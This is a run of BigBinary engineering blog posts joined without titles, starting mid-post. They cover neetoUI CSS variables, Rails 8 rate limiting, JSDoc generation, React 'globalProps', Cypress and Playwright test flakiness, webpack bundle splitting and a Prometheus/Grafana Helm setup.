--neeto-ui-btn-padding-x: 8px;--neeto-ui-btn-padding-y: 6px;--neeto-ui-btn-font-size: var(--neeto-ui-text-sm);--neeto-ui-btn-font-weight: var(--neeto-ui-font-medium);--neeto-ui-btn-line-height: 16px;--neeto-ui-btn-color: rgb(var(--neeto-ui-black));--neeto-ui-btn-bg-color: transparent;--neeto-ui-btn-border-width: 0;--neeto-ui-btn-border-color: transparent;--neeto-ui-btn-border-radius: var(--neeto-ui-rounded);--neeto-ui-btn-gap: 4px;--neeto-ui-btn-icon-size: 16px;--neeto-ui-btn-box-shadow: none;--neeto-ui-btn-outline: none;// Disabled--neeto-ui-btn-disabled-opacity: 0.5;// Hover--neeto-ui-btn-hover-color: rgb(var(--neeto-ui-black));--neeto-ui-btn-hover-bg-color: transparent;--neeto-ui-btn-hover-box-shadow: none;--neeto-ui-btn-hover-opacity: 1;// Focus--neeto-ui-btn-focus-color: rgb(var(--neeto-ui-black));--neeto-ui-btn-focus-box-shadow: none;--neeto-ui-btn-focus-opacity: 1;// Focus Visible--neeto-ui-btn-focus-visible-color: rgb(var(--neeto-ui-black));--neeto-ui-btn-focus-visible-outline: 3px solid rgba(var(--neeto-ui-primary-500), 50%);--neeto-ui-btn-focus-visible-outline-offset: 1px;--neeto-ui-btn-focus-visible-box-shadow: none;

The users can now tweak each property of the Button component using thesevariables and create their version of the component. You can see it in action,here.

Likewise, we have updated all the components and the newneetoUI storybook has examples on how to overrideeach component.

The Result

With all the customization improvements, neetoUI v6 has been released to thepublic. Just by changing a few CSS variables, you can now change the look andfeel of neetoUI at both the global and component levels to match your exactdesign requirements.

Do visit this page to understand the nuances ofneetoUI v6 up close.

We hope you have a clearer understanding of the improvements we have made to thelibrary. Do try it out and let us know your feedback.

• Components are not unmounted properly.
• Event listeners are not cleared after use.
• Unnecessary data stored in the state as well as not resetting the state.

This video shows how we can use the memory tab in Chrome Developer Tools to testour application for memory leaks.

The following video was made for internal use at BigBinary. The video is beingpresented "as it was recorded".

<iframewidth="966"height="604"src="https://www.youtube.com/embed/pdJDIySfyLM"title="Debugging NeetoTestify's memory leak"frameborder="0"allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"allowfullscreen

</iframe>

In this blog post, we'll delve into the concept of rate limiting, exploring itssignificance and implementation in Rails 8.0.

The Need for Rate Limiting

It's crucial in ensuring the following:

• Security Shield: Guards against Denial-of-Service (DoS) attacks, thwartingmalicious attempts to flood your app and crash it.
• Resource Balance: Prevents resource abuse by capping heavy users, ensuringfair resource distribution and maintaining optimal app performance.
• Brute-Force Defender: Stalls hackers attempting password guesses or exploitingvulnerabilities through relentless, repeated attempts.

How Rack::Attack Paved the Way

In the pre-Rails 8.0 era, the go-to solution for rate limiting was therack-attack gem. This gem alloweddevelopers to set up rate-limiting rules by adding custom code in therack_attack.rb file. While effective, this approach required manualintervention for each endpoint and could become cumbersome in a growingapplication. This external dependency brought its own set of challenges, such asthe need for custom code and constant vigilance over rate-limited endpoints.

Rails 8.0: Native Rate Limiting

Rails 8.0 brings a native rate-limiting feature to the Action Controller,streamlining the process and eliminating the need for external gems. Developerscan now set rate limits directly within their controllers using the rate_limitmethod.

Let's take a look at the usage:

Define Limits

Utilize the rate_limit method within your controller actions, specifying themaximum allowed requests and the corresponding timeframe. The rate_limitmethod accepts the following parameters:

• to: The maximum number of requests allowed, beyond which the rate limitingerror will be raised, that is with a 429 Too Many Requests response.
• within: The maximum number of requests allowed in a given time window.
• only: Which all controller actions ought to be rate limited.
• except: Which all controller actions to be omitted from rate limiting.

An example:

class SignupController < ApplicationController  rate_limit to: 4, within: 1.minute, only: :create  def create    # ...  endend

Granular Control

Target specific actions or employ custom logic for nuanced control. Forinstance, you can limit requests based on domain instead of IP address.

rate_limit to: 4, within: 1.minute, by: -> { request.domain }, only: :create

Tailored Responses

By default, rate-limited requests receive a 429 Too Many Requests error.However, you can personalize the response for a more informative userexperience.

rate_limit to: 4, within: 1.minute, with: -> { redirect_to(ip_restrictions_controller_url), alert: "Signup Attempts failed four times. Please try again later." }, only: :create

Custom Cache Stores

The Rails 8.0 rate-limiting implementation at the moment allows us to make use awide range of backends as its store.

It includes:

• Memcached
• Redis (including alternative Redis clients like Dalli)
• Database-backed stores
• File-based stores

The Rate Limiting API seamlessly integrates with Rails' caching mechanisms,leveragingActiveSupport::Cachestores. Developers can specify custom cache stores if they require separatehandling for rate limits compared to other cache data. This integration ensuresefficient storage and retrieval of rate limit data, optimizing performance. Anexample:

class SignupController < ApplicationController  RATE_LIMIT_STORE = ActiveSupport::Cache::RedisCacheStore.new(url: ENV["REDIS_URL"])  rate_limit to: 8, within: 2.minutes, store: RATE_LIMIT_STOREend

What to look forward to

At the moment the built-in rate limiting feature is limited in itsextensibility. There are cases where this feature cannot be used as a directreplacement for logic that's based on rack-attack gem. A good example is ascenario where we might want to use an exponential backoff based rate limitingalgorithm, which can be implemented using rack-attack gem but not with thebuilt-in Rails feature at the moment.

Right now, we are constrained to stick to the default cache counter algorithmthat Rails comes shipped with. In the future, we can expect a more generic limiterinterface, allowing users to explore advanced rate-limiting algorithms such asexponential backoff, leaky bucket, or token bucket, etc. This change would openthe door for developers to swap the implementation based on their specificrequirements.

Please check out the following pull requests for more details:

• https://github.com/rails/rails/pull/50490
• https://github.com/rails/rails/pull/50781

Why Type Definitions

We considered using TypeScript. However, in the end, we opted against it sincemost of our clients use plain JavaScript. Still, we added type definitions forour JavaScript packages to:

• Reduce Ambiguity and Improved Clarity: Type definitions shed light on theexpected input and output of functions and components, eliminating ambiguityand allowing developers to understand the code without needing to constantlyrefer to separate documentation.
• Enhance Productivity and Efficiency: By providing clear insights into thestructure of our libraries, including information about arguments, props, anddata types, type definitions significantly boost developer productivity andfacilitate efficient coding practices.
• Seamless Code Editor Integration: Popular editors like VSCode leveragetype definitions to offer powerful features likeIntelliSense,further streamlining the development process and minimizing errors.

Unifying Documentation with JSDoc Comments

Although type definitions offered a valuable structural understanding,comprehensive documentation remained a challenge. Here is a typical example ofour documentation of an exported function inside a Markdown file:

Navigating between code and Markdown files scattered across the packagerepository was cumbersome and time-consuming.

To address this pain point, we incorporated JSDoc comments alongside typedefinitions. This allowed us to:

• Consolidate Essential Documentation: Instead of relying on separate files,we embedded detailed usage instructions, examples, and additional informationdirectly within the JSDoc comments, providing developers with readilyavailable context within their IDE environment.
• Improve Accessibility and Transparency: By integrating documentation withthe code itself, JSDoc comments eliminate the need for context switching andoffer immediate access to critical information, enhancing the developerunderstanding and decision-making.

Optimizing Documentation Workflow

Maintaining two separate documentation sets Markdown files and JSDoc comments proved inefficient. To ensure consistency and to eliminate redundancy, weautomated the generation of JSDoc comments from existing Markdown documentation.

This involved:

• Standardization for Efficiency: We implemented a standardized structureand format for the Markdown documentation, facilitating easier readability fora developer as well as parsing for an automated parser.
• Building a Custom Script: A dedicated script was developed to parse theMarkdown files, extract relevant documentation for each function or component,and automatically prepend it to the corresponding type definitions.
• Integration with Build Process: To ensure automatic updates and maintain asingle source of truth, we integrated the JSDoc generation script into thepackage build process, seamlessly generating up-to-date documentationalongside the code itself.

Below snippet shows a minimized version of the JSdoc generation script:

import fs from "fs";import path from "path";import _generate from "@babel/generator";import _traverse from "@babel/traverse";import * as babelTypes from "@babel/types";const traverse = _traverse.default;const generate = _generate.default;const buildJsdoc = () => {  const fileNamesInsideDocs = getFileNameList(path.resolve(DOCS_FOLDER_NAME));  const typeFileNames = fs.readdirSync(path.resolve(TYPES_FOLDER_NAME));  syncTypeFiles(EXPORTED_TYPES_FOLDER_NAME);  const entityTitleToDescMapOfAllFiles = {};  fileNamesInsideDocs.forEach(docFileName => {    const fileContent = getFileContent(docFileName);    const markdownAST = parseMarkdown(fileContent);    buildEntityTitleToEntityDescMap(      markdownAST.children,      entityTitleToDescMapOfAllFiles    );  });  typeFileNames.forEach(typeFileName => {    const typeFileContent = getFileContent(      path.join(EXPORTED_TYPES_FOLDER_NAME, typeFileName)    );    const typeFileAST = parseTypeFile(typeFileContent);    typeFileTraverser({      typeFileName: `${EXPORTED_TYPES_FOLDER_NAME}/${typeFileName}`,      typeFileAST,      entityTitleToDescMapOfAllFiles,      babelTraverse: traverse,      babelCodeGenerator: generate,      babelTypes,    });  });  console.log("Successfully added JSDoc comments to type files.");};

Let's dive deep into the above snippet to understand how the JSDoc generationscript works.

Initial Setup and Imports

The script starts with essential imports and variable initializations. Thissection sets up the necessary tools and libraries to work with file systems andAbstract Syntax Trees (AST).

import fs from "fs";import path from "path";import _generate from "@babel/generator";import _traverse from "@babel/traverse";import * as babelTypes from "@babel/types";const traverse = _traverse.default;const generate = _generate.default;

Gathering File Information

We created a buildJsdoc function to encapsulate the JSDoc generation process.The buildJsdoc function begins by collecting file names from the documentation(DOCS_FOLDER_NAME) and type definitions (TYPES_FOLDER_NAME) folders. It thencopies the type definition files to the EXPORTED_TYPES_FOLDER_NAME.

const fileNamesInsideDocs = getFileNameList(path.resolve(DOCS_FOLDER_NAME));const typeFileNames = fs.readdirSync(path.resolve(TYPES_FOLDER_NAME));syncTypeFiles(EXPORTED_TYPES_FOLDER_NAME); // copying the files

Building Entity Descriptions Map

The script parses Markdown documentation files to construct a map linking entitytitles to their descriptions. This map serves as a bridge between thedocumentation and the type definitions. We use unified package andremarkParse plugin for parsing Markdown.

const entityTitleToDescMapOfAllFiles = {};fileNamesInsideDocs.forEach(docFileName => {  const fileContent = getFileContent(docFileName);  const markdownAST = parseMarkdown(fileContent);  buildEntityTitleToEntityDescMap(    markdownAST.children,    entityTitleToDescMapOfAllFiles  );});

Updating Type Definitions

Next, the script traverses the AST of each type definition file. For eachentity, it finds the corresponding description from the map and adds it to thetype definition file. The typeFileTraverser function is responsible fortraversing the AST of a type definition file and looks forExportNamedDeclaration nodes. It then prepends the corresponding JSDoc commentto the node.

typeFileNames.forEach(typeFileName => {  const typeFileContent = getFileContent(    path.join(EXPORTED_TYPES_FOLDER_NAME, typeFileName)  );  const typeFileAST = parseTypeFile(typeFileContent);  typeFileTraverser({    typeFileName: `${EXPORTED_TYPES_FOLDER_NAME}/${typeFileName}`,    typeFileAST,    entityTitleToDescMapOfAllFiles,    babelTraverse: traverse,    babelCodeGenerator: generate,    babelTypes,  });});

The script concludes by logging a success message, indicating the completion ofthe JSDoc generation process.

Once everything was set up and released, we were able to access both types anddocumentation from the code editor itself.

Conclusion

By leveraging the power of type definitions and JSDoc comments, we were able toprovide easy access to documentation and significantly enhance the developerexperience and streamline the development process. The automated generation ofJSDoc comments from Markdown documentation further optimized our workflow,ensuring clarity, consistency and eliminating redundancy.

We are building neeto, and our technology stack is quitesimple. On the front end, we use React.js. On the backend we use Ruby on Rails,PostgreSQL, Redis and Sidekiq.

The term globalProps might not ring a bell for most people. It was coined bythe BigBinary team for our internal use. globalProps is data that is directlyretrieved from our backend and assigned to the browser global object that'swindow. To view the global props, we can type globalProps in the browserconsole, which prints out useful information set by the backend service.

<img alt="desktop view" src="/blog_images/2024/global-props/global-props-console.png">

How is globalProps implemented

To understand where the globalProps came from and how it works, we need toexamine the React-Rails gem. It usesRuby on Rails asset pipeline to automatically transform JSX into Ruby on Railscompatible assets using the Ruby Babel transpiler.

react_component helper method takes a component name as the first argument,props as the second argument and a list of HTML attributes as the thirdargument. The documentation has moredetails.

<%= react_component("App", get_client_props, { class: "root-container" }) %>

Limitations of the default behavior

In the react-rails gem, the hash is set as the props of the componentspecified in the react_component method by default. In the example above, thehash returned by the get_client_props method is passed as props to the Appcomponent in the front end.

The limitation of this approach is that we need to pass down globalProps throughall the components by prop-drilling or React Context.

The concept of nanos

At neeto, anything that does not contain product-specific business logic and canbe extracted into a reusable tool is extracted into an independent package. Wecall them nanos.

You can read more about it in our blog on hownanos make Neeto better.

Limitations in accessing the props by nanos and utility functions

The issue with the above approaches in handling the props is that it won't bedirectly available in utility functions or nano. We explicitly need to pass itas arguments to utility functions after prop drilling. If we use React Context,it can only be accessed in React components or hooks, it cannot be accessed inutility functions. Also, we cannot directly obtain the reference of the Contextwithin the nanos.

Why we didn't chose environment variables

Some of the variables inside the globalProps are environment variables, whichis usually accessed as process.env.VARIABLE_NAME. If we set environmentvariables, they will be hardcoded into the JavaScript bundle at the time ofbundling. This implies that whenever we need to change the environment variable,we must trigger a redeployment.

The solution is globalProps

The advantage of globalProps over these approaches is, it's accessibleeverywhere since it's in the browser global object window. All the nanos andutility functions that we integrate into the application have seamless access tothe props without any extra step of wiring.

Seeding the hash at the backend into the browser's global object, window

Seeding the hash at the backend into the browser's global object, window, isaccomplished using the above-mentioned helper method, react_component. As wediscussed earlier, an HTML node is created that contains data-react-classrepresenting the component name anddata-react-props attribute representing thehash we passed from the backend as an HTML-encoded string.

<img alt="desktop view" src="/blog_images/2024/global-props/element-console.png" >

Decode the HTML-encoded string into JavaScript object

The next step is to decode the HTML-encoded string and parse it into aJavaScript object. The hash is read from the root-container HTML node andparsed into a JavaScript object.

const rootContainer = document.getElementsByClassName("root-container")[0];const reactProps = JSON.parse(rootContainer?.dataset?.reactProps || "{}");

Convert the case of the keys in the object

The JavaScript object that we have obtained have the keys in snake case. We willconvert them into camel case using the helper methodkeysToCamelCase.

We convert the case because React prefers camel case keys, while Rails preferssnake case keys.

const globalProps = keysToCamelCase(reactProps);

Deepfreeze the global props

Additionally, we take an extra step to deep-freeze the global props object,ensuring immutability. The helper function used here isdeepFreezeObject.This prevents modifications to global props from within the product and thusensures data integrity when working with different nanos. All these steps areperformed before the initial rendering of the React component.

window.globalProps = globalProps;deepFreezeObject(window.globalProps);

Let's see the final codeblock that seeds the hash at the backend to thebrowser's global object.

export default function initializeGlobalProps() {  const rootContainer = document.getElementsByClassName("root-container");  const htmlEncodedReactProps = rootContainer[0]?.dataset?.reactProps;  const reactProps = JSON.parse(htmlEncodedReactProps || "{}");  const globalProps = keysToCamelCase(reactProps);  window.globalProps = globalProps;  deepFreezeObject(window.globalProps);}

If we take a closer look at the content of globalProps, we can see that itcarries a lot of data. As discussed earlier this data is useful to other nanos.Some of the data being passed are appName, honeyBadgerApiKey, organization, userinfo, etc.

<img alt="desktop view" src="/blog_images/2024/global-props/global-props-console.png">

Taming flakiness in Cypress

In Cypress, the cy.wait() command is used to pause the test execution. Let'sexplore how Cypress handles flakiness with the cy.intercept() and cy.wait()commands.

Let's consider an example of an online shopping application where a new order iscreated when we click the submit button.

cy.intercept("/orders/*").as("fetchOrder");cy.get("[data-cy='submit']").click();cy.wait("@fetchOrder");

Let's understand what the above example is trying to achieve line by line.

cy.intercept("/orders/\*").as("fetchOrder"): Sets up a network interception.It intercepts any network request that matches the pattern /orders/ and givesit a unique alias fetchOrder. This allows us to capture and control thenetwork request for further testing.

cy.get("[data-cy='submit']").click(): Locates an HTML element with theattribute data-cy set to submit and simulates a click on it.

cy.wait("@fetchOrder"): Instructs Cypress to wait until the interceptednetwork request with the alias fetchOrder is completed before proceeding withthe test.

The cy.wait() command involves two distinct phases of waiting.

Phase 1: The command waits for a matching request to be sent from thebrowser. In the provided example, the wait command pauses execution until arequest with the URL pattern /orders/ is initiated by the browser. Thiswaiting period continues until a matching request is found. If the command failsto identify such a request within the configured request timeout, a timeouterror message is triggered. Upon successfully detecting the matching request,the second phase kicks in.

Phase 2: In this phase, the command waits until the server responds. If theanticipated response fails to arrive within the configured response timeout, atimeout error is thrown. In the above example, the wait command in this phasewill wait for the response of the request aliased as fetchOrders.

The dual-layered waiting mechanism, as explained above, significantly contributesto the reliability of tests. It ensures a synchronized interaction between UIactions and server responses, facilitating more robust and dependable testscenarios.

Managing multiple responses

Consider a situation where a user adds a product to the cart thus initiating twoconcurrent requests. The first request adds the product to the cart, while thesecond request fetches the updated list of orders. To ensure the synchronizationof these asynchronous actions, we must wait for both requests to be successfullycompleted before continuing with the test execution.

Cypress provides the times property in the cy.intercept() options, offeringcontrol over how many times a request with a particular pattern should beintercepted.

cy.intercept({ url: "/orders/*", times: 2 }).as("fetchOrders");cy.get("[data-cy='submit']").click();cy.wait(["@fetchOrders", "@fetchOrders"]);

Let's decode the above example line by line.

cy.intercept({ url: "/orders/\*", times: 2 }).as("fetchOrders"): Specifiesthat the interception should match requests with a pattern /orders/ and limitthe interception to exactly two occurrences.

cy.get("[data-cy='submit']").click(): Locates an HTML element with theattribute data-cy set to submit and simulates a click on it.

cy.wait(["@fetchOrders", "@fetchOrders"]): Ensures that the test waits untilthe two intercepted requests with the alias fetchOrders are completed beforemoving on to the next steps.

Taming Flakiness in Playwright

Playwright offers page methods like waitForRequest and waitForResponse toaddress synchronization challenges between UI actions and API responses. Boththese methods return a promise which is resolved when an API with a matchingpattern is found and throws an error if it exceeds the configured timeout.

Let's consider the same example of an online shopping application where a neworder is created when we click the submit button.

await page.getByRole("button", { name: "Submit" }).click();await page.waitForResponse(response => response.url().includes("/orders/"));

In the above example, page.waitForResponse waits for a network response thatmatches with the URL pattern /orders/ after clicking the submit button.

Even though the above example seems simple, there is a chance for flakinesshere. That is because the API might respond before Playwright starts waiting forit. It might happen for two reasons:

1. API is very fast.
2. External factors delay the test script.

Such situations could lead to timeouts and test failures.

To address the above issue, it's important to coordinate the promises so thatthe waitForResponse command runs at the same time as UI actions. The followingexample illustrates this approach.

const fetchOrder = page.waitForResponse(response =>  response.url().includes("/orders/"));await page.getByRole("button", { name: "Submit" }).click();await fetchOrder;

In the above example, the page starts watching for the responses matching thespecific URL pattern, /orders/, before clicking the submit button. ThewaitForResponse command returns a promise, which we have saved into thevariable fetchOrder. After performing the click action in the following line,we wait for the promise stored in fetchOrder to resolve. When it resolves, itsignifies that the response has been received. This enables us to move on to thenext assertion without facing any reliability issues.

Managing Multiple Responses

Let's consider a scenario similar to the one explained in Cypress, where we haveto manage multiple responses, one to add a product and another to fetch theupdated list of products.

To wait for the completion of 2 requests from the same URL pattern, consider thefollowing approach.

const fetchOrders = Promise.all(  [...new Array(2)].map(    page.waitForResponse(response => response.url().includes("/orders/"))  ));await page.getByRole("button", { name: "Submit" }).click();await fetchOrders;

In the above example, we start waiting for two responses with the pattern/orders/ using Promise.all. The flaw in the above code is that when both thewaitForResponse methods run in parallel, and they end up tracking the exact sameAPI request. In simpler terms, it's like waiting for just one request, as bothof them wait for the completion of the same API.

To solve the above problem, it's important to improve the code by keeping trackof the resolved APIs. Let's see how to achieve the same.

const trackedResponses = [];const fetchOrders = Promise.all(  [...new Array(2)].map(() =>    page.waitForResponse(response => {      const requestId = response.headers()?.["x-request-id"];      if (        response.url().includes("/orders/") &&        !trackedResponses.includes(requestId)      ) {        trackedResponses.push(requestId);        return true;      }      return false;    })  ));await page.getByRole("button", { name: "Submit" }).click();await fetchOrders;

In the above example, we have initialized a new variable trackedResponses withan empty array, intended to store unique identifiers (request IDs) of resolvedAPIs. It checks if the URL includes the substring /orders/ and also whetherthe request ID has not already been tracked in trackedResponses array. If bothconditions are satisfied, it adds the request ID to trackedResponses array andreturns true, indicating that we should wait for the response. This approachprevents the monitoring of the same response more than once.

Conclusion

By understanding and implementing these synchronization techniques in Cypressand Playwright, we can significantly enhance the robustness and reliability ofend-to-end tests, ultimately contributing to a more stable and trustworthytesting suite.

References

cy.intercept

cy.wait

page.waitForRequest

page.waitForResponse

When we write code, we split parts of code into different files to managecomplexity. However, the web application requires all of its JavaScript files inorder for the application to function properly. On the surface, it might seemlike loading all the separate JavaScript files is easy, but it gets verycomplicated very fast.

Let's assume that we have three different JavaScript files in our codebase thatwe are referencing directly from the HTML.

<head>  <script src="/assets/js/script_1.js"></script>  <script src="/assets/js/script_2.js"></script>  <script src="/assets/js/script_3.js"></script></head>

Now, what if we find that script_1.js has a dependency on script_2.js andscript_2.js needs to be loaded first? We will have to rearrange the orderingsuch that all the dependencies are satisfied. Doing this iteratively forhundreds of files can quickly become a nightmare.

One could argue why can't we write all the code in a single JavaScript file inorder to avoid this dependency issue. Modern web applications require a lot ofJavaScript code, so having all the JavaScript code in a single file is just notpractical.

Another issue with referencing hundreds of JavaScript files is that browsers canfetch only four to eight files at a time. If we have hundreds of JavaScriptfiles then the browser will take a long time to load all the JavaScript files.

Solution to all these problems is packing all those JavaScript files into onelarge file that can be downloaded in one shot. This large file will also haveall the code in the right order, which will satisfy the dependency requirement.This process of packing all the JavaScript files into one big file is calledbundling. We can use tools like Webpack orRollup to achieve bundling. These tools that help usachieve bundling are typically called bundlers.

It's obvious that when we use a bundler, it allows us to keep our code in anyhierarchy we want for development purposes. After all, the bundler will figureout the dependency. So is the job of the bundler to only stitch all theJavaScript files into one large JavaScript file in the right order?

No. During bundling, a bundler can be configured to apply differenttransformations and optimizations to our source code. It allows us to write ourcode using modern syntax while transforming it to a format more commonlysupported by different browser implementations during the bundling process.Another common task is the minification of our JavaScript files by removing allunwanted whitespace characters and comments.

We have discussed only a few optimizations and transformations here. Bundlerssupport many more types of optimizations and transformations.

<br />

Loading JavaScript files faster by bundle splitting

Bundle splitting is the process of splitting up this single bundle into multiplechunks. We just talked about the advantages of bundling. Then why are we talkingabout bundle splitting. As we will see, there are some advantages of splittingthe bundle as long as it's done strategically.

Most commonly, bundle splitting splits the code into three separate chunks. Avendor chunk holds every code inside the node_modules folder, anapplication chunk holds all the code we have written, and a runtime chunk isadded by the bundler that enables all other chunks to be loaded properly. If weare using webpack to bundle our application, the default bundle splittingconfiguration can be found in theirdocumentation.If we use CRA to scaffold our application, an optimal configuration is alreadyin place.

There are different ways in which we can benefit from this process. Thanks toHTTP 2.0, the browsers are now able to fetch resources from the server inparallel. Because of this, instead of waiting for a single huge bundle to beloaded, the browser can load multiple smaller chunks in parallel for a betterload time.

<br />

<br />

On top of that, we can ask the browser to cache a specific JavaScript file. Thiswill make the application load those JavaScript files faster the next timearound. Usually, the contents in the vendor chunk are not expected to changefrequently and can be reused from the browser cache, cutting down on load timesignificantly. This is usually achieved by encoding the chunk name with thecontent hash. This tells the browser: "If the hash changed, assume the contentchanged, ignore the cache, and fetch the updated chunk from server".

// webpack.config.jsonmodule.exports = {  //...  output: {    filename: "[contenthash].js",  },};

Now the question is what factors determine if the bundle should be split intomultiple chunks. One such factor is the file location. As mentioned above, filesfrom the node_modules folder are generally kept in the vendor chunk whilethe application code goes into the application chunk. We can also specify amaximum chunk size in the bundler configuration which creates an additionalchunk whenever the current chunk exceeds the size limit.

// webpack.config.jsonmodule.exports = {  //...  optimization: {    splitChunks: {      maxSize: 15000000, // 15MB in static size, before compression    },  },};

We can take this a step further by loading only those chunks that are necessaryto render the content that should be made visible to the user. Other chunks areloaded only when they are truly needed. This is also called lazy loading.

For example, suppose we have an application that offers two pages - a Dashboardpage, and a Settings page. A user, after logging in, directly lands on theDashboard page. Normally, the loaded JavaScript bundle will also include coderelated to the Settings page, which is not required to render the currentDashboard page. The Settings code just sits there, waiting for the user tonavigate to the Settings page.

<br />

This is the problem that lazy loading attempts to resolve. The easiest way toachieve this is to import the code during runtime using an inline importstatement. React offers a wrapper for integrating lazy-loaded components usingSuspense.

import React, { Suspense } from "react";const LazyComponent = React.lazy(() => import("./LazyComponent"));const Component = () => (  <Suspense fallback={<div>Loading LazyComponent</div>}>    <LazyComponent />  </Suspense>);

It means, during the bundling process, whenever a lazy import is encountered bythe bundler, the code in the required module will be kept as a separate "async"chunk which is loaded only on demand. In the prior example, we can have theSettings component is lazily imported so that when a user goes to the Dashboardpage, the Settings-related code will not be part of this bundle, resulting in alower initial bundle size.

<br />

We can verify the results using tools likeBundle Analyzer Pluginthat allow us to visualize and inspect the size and contents of each chunk inthe bundler output.

The lazy loading above may seem very promising, and we may be tempted to splitevery part of the application into different chunks, expecting a more efficientloading experience. However, this may not always be the case. Unlike othermethods, lazy loading requires careful evaluation of different parts of theapplication and their dependencies to determine which parts can be effectivelylazy-loaded.

Let's bring back the above example. Suppose our Settings page requires API callsto load data and render the content. If the code for the Settings page is partof the same initial bundle, as soon as we navigate to the Settings page, the APIrequests are fired, data is fetched, and content is rendered. Point to note thatthe JavaScript code for the Settings page is already loaded, so the API call wasinstantly made.

Now, what if the Settings code was split into a different on-demand chunk andnot part of the initial bundle? No, when we navigate to the Settings page, thebrowser needs to fetch the Settings chunk from the server, execute, send networkrequests, and then render the content. An additional delay is introduced herefor fetching chunks, which may add to the slowness. In a way, this brings downthe benefits offered by a single-page application (SPA).

When splitting up the bundle for our product NeetoChat,we chose to split the Settings related code into a separate, on-demand chunk.The Settings was not a random choice. It took up a large part of the bundle andone interesting feature was that the Settings page didn't require data from theserver to render. In this case Settings page contains a predefined set ofcategory tiles that allow us to navigate to other settings-related pages.

For the reasons mentioned above, the Settings appeared to be a good candidatefor lazy-loading, and therefore, all the related code was extracted to a fewseparate asynchronous bundles. After this change, when a user loads thedashboard page of NeetoChat, the loaded bundles do not contain code related toany of the Settings page,s thereby having a smaller overall initial asset size.

Later, when the user navigates to the Settings page, the related JavaScriptchunks are fetched, and the UI is rendered immediately without the need for APIdata. From the Settings page, the user can choose any of the Settings categoriesto navigate to the inner pages. The inner pages require API data to render thecontent. However, the required JS assets are already loaded and available toexecute as part of the last asset request on the landing page, thereby reducingthe network latency.

For more fine-grained control over lazy-loading implementation in our app, weare using the react-loadablelibrary. Video below walks you through the bundle splitting process and resultsin the NeetoChat web application.

<iframewidth="560"height="315"src="https://www.youtube.com/embed/JW-CVXhXQmg"title="Bundle splitting in NeetoChat"frameborder="0"allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"allowfullscreen

</iframe>

Prometheus along withGrafanais a highly scalable open-sourcemonitoringframework forcontainer orchestration platform.Prometheus probes the application and collects various data. It stores all thisdata in its time series database. Grafana is a visualization tool. It uses thedata from the database to show the data that is meaningful to the user.

Both Prometheus and Grafana are gaining popularity intheobservabilityspace as ithelps with metrics and alerts. Learning to integrate them using Helm will allowus to monitor our Kubernetes cluster and troubleshoot problems easily.Furthermore, we can deep dive into our cluster's well-being and efficiency,focusing on resource usage and performance metrics within our Kubernetesenvironment.

We will also learn how to create a simpledashboard on Grafana.

Why using Prometheus and Grafana for monitoring is good

Using Prometheus and Grafana for monitoring has many benefits:

• Scalability: Both tools are highly scalable and can handle the monitoringneeds of small to large Kubernetes clusters.
• Flexibility: They allow us to create custom dashboards tailored to ourspecific monitoring requirements.
• Real-time Monitoring: Prometheus provides real-time monitoring, helping usto quickly detect and respond to issues.
• Alerting: Prometheus enables us to set up alerts based on specificmetrics, so we can be notified when issues arise.
• Data Visualization: Grafana offers powerful data visualizationcapabilities, making it easier to understand complex data.
• Open Source: Both Prometheus and Grafana are open-source, reducingmonitoring costs.
• Community Support: We can benefit from active communities, ensuringcontinuous development and support.
• Integration: They seamlessly integrate with other Kubernetes componentsand applications, simplifying setup.
• Historical Data: Grafana allows us to explore historical data, aiding inlong-term analysis and trend identification.
• Extensible: Both tools are extensible, allowing us to integrate additionaldata sources and plugins.
• Efficient Resource Usage: Prometheus efficiently utilizes resources,ensuring minimal impact on our cluster's performance.

Two common ways to use Prometheus and Grafana on Kubernetes:

1. Manual Kubernetes deployment: In this method, we need to writeKubernetes DeploymentsandServicesfor both Prometheus and Grafana. In the YAML file, we need to put all thesettings for Prometheus and Grafana on Kubernetes. Then we send these filesto our Kubernetes cluster. But we can end up with many YAML files, which canbe hard. If we make a mistake in any YAML file, Prometheus and Grafana won'twork on Kubernetes.
2. Using Helm: This is an easy way to send any application container toKubernetes.Helmis the official package manager forKubernetes. With Helm, we can make installing, sending, and managingKubernetes makes applications easier.

AHelm Charthas all the YAML files:

• Deployments.
• Services.
• Secrets.
• ConfigMaps manifests.

We use these files to send the application container to Kubernetes. Instead ofmaking individual YAML files for each application container, Helm lets usdownload Helm charts that already have YAML files.

Setting up Prometheus and Grafana using Helm chart

We will use ArtifactHub, which offers public andprivate repositories for Helm Charts. We will use these Helm Charts to arrangethe pods and services in our Kubernetes cluster.

To get Prometheus and Grafana working on Kubernetes with Helm, we will start byinstalling Helm.

Installing Helm on Linux

sudo apt-get install helm

Installing Helm on Windows

choco install Kubernetes-helm

Installing Helm on macOS

brew install helm

We can check out the officialHelm documentation if we run into anyissues while installing Helm.

The image below represents the successful Helm installation on macOS.

For this blog, were going to install Helmchartand by default, this chart also installs additional, dependent charts (includingGrafana):

• prometheus-community/kube-state-metrics
• prometheus-community/prometheus-node-exporter
• grafana/grafana

To get this Helm chart, let's run this command:

helm repo add prometheus-community https://prometheus-community.github.io/helm-chartshelm repo update

We have downloaded the latest version of Prometheus & Grafana.

To install the Prometheus Helm Chart on a Kubernetes Cluster, let's run thefollowing command:

helm install my-kube-prometheus-stack prometheus-community/kube-prometheus-stack

We have successfully installed Prometheus & Grafana on the Kubernetes Cluster.We can access the Prometheus & Grafana servers via ports 9090 & 80,respectively.

Now, let's run the followingcommand to view all the resources created by theHelm Chart in our Kubernetes cluster:

kubectl get all

The Helm chart created the following resources:

• Pods: It hosts the deployed Prometheus Kubernetes application inside thecluster.
• Replica Sets: A collection of instances of the same application inside theKubernetes cluster. It enhances application reliability.
• Deployments: It is the blueprint for creating the application pods.
• Services: It exposes the pods running inside the Kubernetes cluster. Weuse it to access the deployed Kubernetes application.
• Stateful Sets: They manage the deployment of the stateful applicationcomponents and ensure stable and predictable network identities for thesecomponents.
• Daemon Sets: They ensure that all (or a specific set of) nodes run a copyof a pod, which is useful for tasks such as logging, monitoring, and othernode-specific operations.

Run this command to view all the Kubernetes Services for Prometheus & Grafana:

kubectl get service

Listed services for Prometheus and Grafana are:

• alertmanager-operated
• kube-prometheus-stack-alertmanager
• kube-prometheus-stack-grafana
• kube-prometheus-stack-kube-state-metrics
• kube-prometheus-stack-operator
• kube-prometheus-stack-prometheus
• kube-prometheus-stack-prometheus-node-exporter
• prometheus-operated

